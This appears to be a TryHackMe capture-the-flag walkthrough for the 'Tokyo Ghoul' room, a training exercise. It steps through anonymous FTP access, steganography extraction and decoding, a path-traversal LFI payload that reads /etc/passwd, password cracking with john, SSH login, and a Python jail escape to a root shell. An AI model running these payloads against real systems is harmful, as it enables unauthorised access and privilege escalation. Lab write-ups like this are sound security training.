🧟 Tokyo Ghoul — TryHackMe Walkthrough

@Chris Noble

Difficulty: Medium

Objective: Help Kaneki escape Jason by solving web, stego, LFI, and privilege escalation challenges.

---

1. Recon – Nmap Scan 🕵️

- **Command used:**

  ```
  nmap -sC -sV -p- <target-ip>
  ```

- **Open Ports:**
  - **21 (FTP):** vsftpd 3.0.3, anonymous login enabled
  - **22 (SSH):** OpenSSH 7.2p2
  - **80 (HTTP):** Apache 2.4.18

---

2. FTP Enumeration

- Anonymous login works:

  ```
  ftp <target-ip>
  Username: anonymous
  Password: anonymous
  ```

- Inside `need_Help?` directory:
  - `Aogiri_tree.txt` (story file)
  - `Talk_with_me/need_to_talk` (ELF binary)
  - `Talk_with_me/rize_and_kaneki.jpg` (image)

---

3. Binary & Stego Analysis

- Run `need_to_talk`, it asks for a keyword.
- Use `strings` or `rabin2 -z` to find hidden strings.
- Keyword found: `kamishiro`
- Re-run the binary → Output: `You_found_1t`
- Use that as password with steghide:

  ```
  steghide extract -sf rize_and_kaneki.jpg
  Password: You_found_1t
  ```

- Extracts `yougotme.txt`

---

4. Decode the Hidden Message

- `yougotme.txt` contains Morse code.
- Decode Morse → Get a hex string.
- Convert hex to ASCII → Base64.
- Decode Base64 → reveals hidden folder name: `d1r3c70ry_center`
- Visit it in browser: `http://<target-ip>/d1r3c70ry_center`

---

5. Local File Inclusion (LFI)

- Page includes a file using parameter like:

  ```
  ?view=flower.gif
  ```

- Exploit LFI to read system files:

  ```
  ?view=../../../../etc/passwd
  ```

- Found user `kamishiro` and hashed password.

---

6. Password Cracking

- Save the hash and crack with `john`:

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

- Password found: `password123`

---

7. SSH Access

- Login via SSH:

```
ssh kamishiro@<target-ip>
Password: password123
```

- Read user flag:

```
cat user.txt
```

---

8. Privilege Escalation

- Check with:

```
sudo -l
```

- Can run `/opt/jail.py` as root.
- Jail script blocks `import`, `os`, `open`, etc.
- Use Python builtins to bypass:

```
__builtins__.__dict__['__import__']('os').system('bash')
```

- Get root shell and read root flag:

```
cat /root/root.txt
```

✅ Summary

Phase	Tools & Methods
Recon	nmap, FTP access
Stego	strings, rabin2, steghide
Decoding	Morse → Hex → Base64
Web exploit	LFI via URL encoding
Cracking	John the Ripper
Priv Esc	Python jail bypass

🏁 Flags

- **User Flag:** `/home/kamishiro/user.txt`
- **Root Flag:** `/root/root.txt`
